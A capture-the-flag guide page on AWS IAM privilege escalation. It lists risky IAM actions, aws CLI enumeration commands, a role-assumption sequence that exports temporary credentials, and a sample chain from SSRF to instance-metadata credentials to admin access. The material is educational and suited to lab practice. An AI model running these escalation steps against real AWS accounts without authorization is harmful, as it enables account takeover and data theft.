Escalate AWS permissions in CTF cloud environments by abusing risky IAM actions and trust policies.

IAM Privilege Escalation

In AWS CTF challenges, the first credential you get is often low-privilege. The real objective is finding an IAM misconfiguration that lets you become a stronger principal and reach the flag. The escalation path is almost always: identify dangerous permission → exploit it → re-enumerate with elevated access → find the flag.

The key insight is that IAM policies are additive. If any attached policy allows a dangerous action, you can use it — even if other policies deny everything else.

Escalation Decision Tree

Core Escalation Primitives

Primitive	Why it matters
`sts:AssumeRole`	Jump into another role if trust policy allows it
`iam:PassRole`	Make another service run with a higher-privileged role
`iam:CreatePolicyVersion`	Add a new (permissive) policy version and set as default
`iam:SetDefaultPolicyVersion`	Rollback to an older, more permissive policy version
`iam:AttachUserPolicy`	Attach `AdministratorAccess` directly to yourself
`iam:UpdateAssumeRolePolicy`	Modify trust policy to include your principal

First Commands After Getting Credentials

Identify Yourself

aws sts get-caller-identity
aws iam get-user          # if user identity

This tells you the account number, IAM user/role name, and ARN. Everything else builds on this.

Enumerate Attached Policies

# For user identity
aws iam list-attached-user-policies --user-name <name>
aws iam list-user-policies --user-name <name>

# For role identity
aws iam list-attached-role-policies --role-name <role>
aws iam list-role-policies --role-name <role>

Read each policy document. Look for the primitives listed above.

Enumerate Assumable Roles

aws iam list-roles
# Look for roles where trust policy has your account or "Principal": "*"

Test Dangerous Permissions

aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::<ACCOUNT>:user/<USER> \
  --action-names iam:PassRole iam:CreatePolicyVersion sts:AssumeRole

Escalation Techniques

If you can sts:AssumeRole into a more privileged role:

aws sts assume-role \
  --role-arn arn:aws:iam::<ACCOUNT>:role/AdminLikeRole \
  --role-session-name ctf

# Export returned temp creds
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

aws sts get-caller-identity  # verify new identity

Check trust policies for roles that trust your principal, "Principal": "*", or sts:AssumeRole with weak conditions.

Typical CTF Escalation Chain

SSRF → IMDS creds → limited role
limited role → AssumeRole or PassRole abuse
elevated role → read secret / S3 flag / decrypt KMS data

Checklist

Identify current principal and all attached policies
Enumerate assumable roles and their trust policies
Test sts:AssumeRole on discovered role ARNs
Check for iam:PassRole + executable service (Lambda/EC2/ECS)
Check for policy version attack (CreatePolicyVersion, SetDefaultPolicyVersion)
Re-run aws sts get-caller-identity after each escalation step
Use Pacu for automated escalation discovery (lab environments only)

Tools like Pacu automate many escalation checks — use them only in authorized lab environments.

Last updated on Aug 1, 2025

IAM Privilege Escalation

IAM Privilege Escalation

Escalation Decision Tree

Core Escalation Primitives

First Commands After Getting Credentials

Escalation Techniques

Typical CTF Escalation Chain

Checklist

On this page